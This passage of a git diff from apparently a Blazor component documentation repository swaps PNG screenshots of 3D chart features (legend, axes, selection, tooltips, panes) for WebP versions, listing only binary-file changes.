Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-exporting.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-exporting.webp b/blazor/3D-chart/images/getting-started/blazor-chart-exporting.webp
new file mode 100644
index 0000000000..0717deda7d
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-exporting.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-legend.png b/blazor/3D-chart/images/getting-started/blazor-chart-legend.png
deleted file mode 100644
index 096ef4f8e4..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-legend.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-legend.webp b/blazor/3D-chart/images/getting-started/blazor-chart-legend.webp
new file mode 100644
index 0000000000..8461ce16f1
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-legend.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-printing.png b/blazor/3D-chart/images/getting-started/blazor-chart-printing.png
deleted file mode 100644
index 0c9a56927c..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-printing.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-printing.webp b/blazor/3D-chart/images/getting-started/blazor-chart-printing.webp
new file mode 100644
index 0000000000..2e0bbabd07
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-printing.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-title.png b/blazor/3D-chart/images/getting-started/blazor-chart-title.png
deleted file mode 100644
index f2ecff076a..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-title.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-title.webp b/blazor/3D-chart/images/getting-started/blazor-chart-title.webp
new file mode 100644
index 0000000000..527dafb5d5
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-title.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-tooltip.png b/blazor/3D-chart/images/getting-started/blazor-chart-tooltip.png
deleted file mode 100644
index dca88992d7..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart-tooltip.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart-tooltip.webp b/blazor/3D-chart/images/getting-started/blazor-chart-tooltip.webp
new file mode 100644
index 0000000000..bde39b4b7e
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart-tooltip.webp differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart.png b/blazor/3D-chart/images/getting-started/blazor-chart.png
deleted file mode 100644
index 41274e8729..0000000000
Binary files a/blazor/3D-chart/images/getting-started/blazor-chart.png and /dev/null differ
diff --git a/blazor/3D-chart/images/getting-started/blazor-chart.webp b/blazor/3D-chart/images/getting-started/blazor-chart.webp
new file mode 100644
index 0000000000..50d6ceaa75
Binary files /dev/null and b/blazor/3D-chart/images/getting-started/blazor-chart.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-custom-legend-shape-size.png b/blazor/3D-chart/images/legend/blazor-column-chart-custom-legend-shape-size.png
deleted file mode 100644
index 324b986570..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-custom-legend-shape-size.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-custom-legend-shape-size.webp b/blazor/3D-chart/images/legend/blazor-column-chart-custom-legend-shape-size.webp
new file mode 100644
index 0000000000..264f3c5624
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-custom-legend-shape-size.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-hide-legend-item.png b/blazor/3D-chart/images/legend/blazor-column-chart-hide-legend-item.png
deleted file mode 100644
index f4dfa071be..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-hide-legend-item.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-hide-legend-item.webp b/blazor/3D-chart/images/legend/blazor-column-chart-hide-legend-item.webp
new file mode 100644
index 0000000000..05887f1ea5
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-hide-legend-item.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-alignment-position.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-alignment-position.png
deleted file mode 100644
index 952bdf681d..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-alignment-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-alignment-position.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-alignment-position.webp
new file mode 100644
index 0000000000..7339d314c3
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-alignment-position.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-custom-size.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-custom-size.png
deleted file mode 100644
index 03e1c03a20..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-custom-size.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-custom-size.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-custom-size.webp
new file mode 100644
index 0000000000..5ae486b9a6
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-custom-size.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-in-custom-position.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-in-custom-position.png
deleted file mode 100644
index 6933a07640..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-in-custom-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-in-custom-position.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-in-custom-position.webp
new file mode 100644
index 0000000000..dc4aaa176d
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-in-custom-position.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-item-padding.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-item-padding.png
deleted file mode 100644
index fe48219748..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-item-padding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-item-padding.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-item-padding.webp
new file mode 100644
index 0000000000..f4ee2b8d83
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-item-padding.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-paging.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-paging.png
deleted file mode 100644
index d3f0a99b5b..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-paging.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-paging.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-paging.webp
new file mode 100644
index 0000000000..fcb1376c38
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-paging.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-position.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-position.png
deleted file mode 100644
index 1b0e99b603..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-position.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-position.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-position.webp
new file mode 100644
index 0000000000..0a0a98998a
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-position.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-reverse.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-reverse.png
deleted file mode 100644
index fb7bcdb564..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-reverse.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-reverse.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-reverse.webp
new file mode 100644
index 0000000000..5f9e122e1d
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-reverse.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-series-selection.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-series-selection.png
deleted file mode 100644
index f2d79384f0..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-series-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-series-selection.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-series-selection.webp
new file mode 100644
index 0000000000..e7ae84b51a
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-series-selection.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-shape.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-shape.png
deleted file mode 100644
index b853d38b30..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-shape.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-shape.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-shape.webp
new file mode 100644
index 0000000000..af3e7f4405
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-shape.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-text-wrap.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-text-wrap.png
deleted file mode 100644
index 6c876be825..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-text-wrap.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-text-wrap.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-text-wrap.webp
new file mode 100644
index 0000000000..2c6e2c0587
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-text-wrap.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-title.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-title.png
deleted file mode 100644
index 99fc62eda9..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-title.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-title.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-title.webp
new file mode 100644
index 0000000000..d257a4c3f6
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-title.webp differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-with-page-navigation.png b/blazor/3D-chart/images/legend/blazor-column-chart-legend-with-page-navigation.png
deleted file mode 100644
index 0064ccbd3a..0000000000
Binary files a/blazor/3D-chart/images/legend/blazor-column-chart-legend-with-page-navigation.png and /dev/null differ
diff --git a/blazor/3D-chart/images/legend/blazor-column-chart-legend-with-page-navigation.webp b/blazor/3D-chart/images/legend/blazor-column-chart-legend-with-page-navigation.webp
new file mode 100644
index 0000000000..5d1f5a0e2e
Binary files /dev/null and b/blazor/3D-chart/images/legend/blazor-column-chart-legend-with-page-navigation.webp differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.png b/blazor/3D-chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.png
deleted file mode 100644
index c1fd767e33..0000000000
Binary files a/blazor/3D-chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.webp b/blazor/3D-chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.webp
new file mode 100644
index 0000000000..9b2dfb56be
Binary files /dev/null and b/blazor/3D-chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.webp differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.png b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.png
deleted file mode 100644
index 4a1956a529..0000000000
Binary files a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.png and /dev/null differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.webp b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.webp
new file mode 100644
index 0000000000..3850a0831b
Binary files /dev/null and b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.webp differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range.png b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range.png
deleted file mode 100644
index 0f3acc29dd..0000000000
Binary files a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range.png and /dev/null differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range.webp b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range.webp
new file mode 100644
index 0000000000..8c5cae4fa2
Binary files /dev/null and b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-axis-based-on-range.webp differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.png b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.png
deleted file mode 100644
index e3c5802e4f..0000000000
Binary files a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.png and /dev/null differ
diff --git a/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.webp b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.webp
new file mode 100644
index 0000000000..11838112ca
Binary files /dev/null and b/blazor/3D-chart/images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.webp differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png
deleted file mode 100644
index d2a97f6c76..0000000000
Binary files a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png and /dev/null differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp
new file mode 100644
index 0000000000..c9a1db3120
Binary files /dev/null and b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.png b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.png
deleted file mode 100644
index a83984a7df..0000000000
Binary files a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.png and /dev/null differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.webp b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.webp
new file mode 100644
index 0000000000..354077fb12
Binary files /dev/null and b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.webp differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.png b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.png
deleted file mode 100644
index b684b23a02..0000000000
Binary files a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.png and /dev/null differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp
new file mode 100644
index 0000000000..7607c183d7
Binary files /dev/null and b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png
deleted file mode 100644
index 58a701cf3c..0000000000
Binary files a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png and /dev/null differ
diff --git a/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp
new file mode 100644
index 0000000000..b085996eaa
Binary files /dev/null and b/blazor/3D-chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-additional-range-padding.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-additional-range-padding.png
deleted file mode 100644
index 8f6ad62426..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-additional-range-padding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-additional-range-padding.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-additional-range-padding.webp
new file mode 100644
index 0000000000..cb88644e84
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-additional-range-padding.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-auto-rangepadding.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-auto-rangepadding.png
deleted file mode 100644
index 90e79657dc..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-auto-rangepadding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-auto-rangepadding.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-auto-rangepadding.webp
new file mode 100644
index 0000000000..0b6941f6ff
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-auto-rangepadding.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-axis-range.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-axis-range.png
deleted file mode 100644
index 37eab21474..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-axis-range.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-axis-range.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-axis-range.webp
new file mode 100644
index 0000000000..959e8b16dd
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-axis-range.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-custom-label-format.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-custom-label-format.png
deleted file mode 100644
index d68c008ba1..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-custom-label-format.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-custom-label-format.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-custom-label-format.webp
new file mode 100644
index 0000000000..13d9b2e528
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-custom-label-format.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-grouping-separator.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-grouping-separator.png
deleted file mode 100644
index 2ba491df65..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-grouping-separator.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-grouping-separator.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-grouping-separator.webp
new file mode 100644
index 0000000000..0a3987e7ce
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-grouping-separator.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-label-format.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-label-format.png
deleted file mode 100644
index 35f0d95a97..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-label-format.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-label-format.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-label-format.webp
new file mode 100644
index 0000000000..e7d9f28608
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-label-format.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-normal-range-padding.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-normal-range-padding.png
deleted file mode 100644
index a5349e8d4e..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-normal-range-padding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-normal-range-padding.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-normal-range-padding.webp
new file mode 100644
index 0000000000..cce9d0af65
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-normal-range-padding.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-numeric-axis.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-numeric-axis.png
deleted file mode 100644
index 9cd21be723..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-numeric-axis.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-numeric-axis.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-numeric-axis.webp
new file mode 100644
index 0000000000..d45ae20e0b
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-numeric-axis.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-range-without-padding.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-range-without-padding.png
deleted file mode 100644
index fbf86c4cdb..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-range-without-padding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-range-without-padding.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-range-without-padding.webp
new file mode 100644
index 0000000000..bbb7518d0d
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-range-without-padding.webp differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-round-range-padding.png b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-round-range-padding.png
deleted file mode 100644
index bdfa4e9ea7..0000000000
Binary files a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-round-range-padding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/numeric-axis/blazor-column-chart-round-range-padding.webp b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-round-range-padding.webp
new file mode 100644
index 0000000000..bdd1a4d3b6
Binary files /dev/null and b/blazor/3D-chart/images/numeric-axis/blazor-column-chart-round-range-padding.webp differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-cluster-selection.png b/blazor/3D-chart/images/selection/blazor-chart-cluster-selection.png
deleted file mode 100644
index 006dec732e..0000000000
Binary files a/blazor/3D-chart/images/selection/blazor-chart-cluster-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-cluster-selection.webp b/blazor/3D-chart/images/selection/blazor-chart-cluster-selection.webp
new file mode 100644
index 0000000000..9e36d542ab
Binary files /dev/null and b/blazor/3D-chart/images/selection/blazor-chart-cluster-selection.webp differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-initial-selection.png b/blazor/3D-chart/images/selection/blazor-chart-initial-selection.png
deleted file mode 100644
index 7489e6f4b9..0000000000
Binary files a/blazor/3D-chart/images/selection/blazor-chart-initial-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-initial-selection.webp b/blazor/3D-chart/images/selection/blazor-chart-initial-selection.webp
new file mode 100644
index 0000000000..8177d1ec6b
Binary files /dev/null and b/blazor/3D-chart/images/selection/blazor-chart-initial-selection.webp differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-legend-selection.png b/blazor/3D-chart/images/selection/blazor-chart-legend-selection.png
deleted file mode 100644
index 03a5ed3c7f..0000000000
Binary files a/blazor/3D-chart/images/selection/blazor-chart-legend-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-legend-selection.webp b/blazor/3D-chart/images/selection/blazor-chart-legend-selection.webp
new file mode 100644
index 0000000000..1407bfecb4
Binary files /dev/null and b/blazor/3D-chart/images/selection/blazor-chart-legend-selection.webp differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-multiple-selection.png b/blazor/3D-chart/images/selection/blazor-chart-multiple-selection.png
deleted file mode 100644
index acaf12b4b3..0000000000
Binary files a/blazor/3D-chart/images/selection/blazor-chart-multiple-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-multiple-selection.webp b/blazor/3D-chart/images/selection/blazor-chart-multiple-selection.webp
new file mode 100644
index 0000000000..f6cb50633e
Binary files /dev/null and b/blazor/3D-chart/images/selection/blazor-chart-multiple-selection.webp differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-point-selection.png b/blazor/3D-chart/images/selection/blazor-chart-point-selection.png
deleted file mode 100644
index bdd48de2af..0000000000
Binary files a/blazor/3D-chart/images/selection/blazor-chart-point-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-point-selection.webp b/blazor/3D-chart/images/selection/blazor-chart-point-selection.webp
new file mode 100644
index 0000000000..aeb7b061c1
Binary files /dev/null and b/blazor/3D-chart/images/selection/blazor-chart-point-selection.webp differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-series-selection.png b/blazor/3D-chart/images/selection/blazor-chart-series-selection.png
deleted file mode 100644
index 638ecfde5d..0000000000
Binary files a/blazor/3D-chart/images/selection/blazor-chart-series-selection.png and /dev/null differ
diff --git a/blazor/3D-chart/images/selection/blazor-chart-series-selection.webp b/blazor/3D-chart/images/selection/blazor-chart-series-selection.webp
new file mode 100644
index 0000000000..1b7b3103a0
Binary files /dev/null and b/blazor/3D-chart/images/selection/blazor-chart-series-selection.webp differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-custom-tooltip.png b/blazor/3D-chart/images/tooltip/blazor-column-chart-custom-tooltip.png
deleted file mode 100644
index 1621aab9ea..0000000000
Binary files a/blazor/3D-chart/images/tooltip/blazor-column-chart-custom-tooltip.png and /dev/null differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-custom-tooltip.webp b/blazor/3D-chart/images/tooltip/blazor-column-chart-custom-tooltip.webp
new file mode 100644
index 0000000000..89c27d889f
Binary files /dev/null and b/blazor/3D-chart/images/tooltip/blazor-column-chart-custom-tooltip.webp differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-fixed-tooltip.png b/blazor/3D-chart/images/tooltip/blazor-column-chart-fixed-tooltip.png
deleted file mode 100644
index 8a1e78fffc..0000000000
Binary files a/blazor/3D-chart/images/tooltip/blazor-column-chart-fixed-tooltip.png and /dev/null differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-fixed-tooltip.webp b/blazor/3D-chart/images/tooltip/blazor-column-chart-fixed-tooltip.webp
new file mode 100644
index 0000000000..a2410c1a8a
Binary files /dev/null and b/blazor/3D-chart/images/tooltip/blazor-column-chart-fixed-tooltip.webp differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-format.png b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-format.png
deleted file mode 100644
index aa727b8ca3..0000000000
Binary files a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-format.png and /dev/null differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-format.webp b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-format.webp
new file mode 100644
index 0000000000..eba0f5da5f
Binary files /dev/null and b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-format.webp differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-template.png b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-template.png
deleted file mode 100644
index c596674bd5..0000000000
Binary files a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-template.png and /dev/null differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-template.webp b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-template.webp
new file mode 100644
index 0000000000..ca69f3143b
Binary files /dev/null and b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip-template.webp differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip.png b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip.png
deleted file mode 100644
index e09f9e141b..0000000000
Binary files a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip.png and /dev/null differ
diff --git a/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip.webp b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip.webp
new file mode 100644
index 0000000000..9126a88797
Binary files /dev/null and b/blazor/3D-chart/images/tooltip/blazor-column-chart-tooltip.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-custom-empty-point.png b/blazor/3D-chart/images/working-data/blazor-chart-custom-empty-point.png
deleted file mode 100644
index 71d131ee64..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-custom-empty-point.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-custom-empty-point.webp b/blazor/3D-chart/images/working-data/blazor-chart-custom-empty-point.webp
new file mode 100644
index 0000000000..ca4fd03947
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-custom-empty-point.webp differ
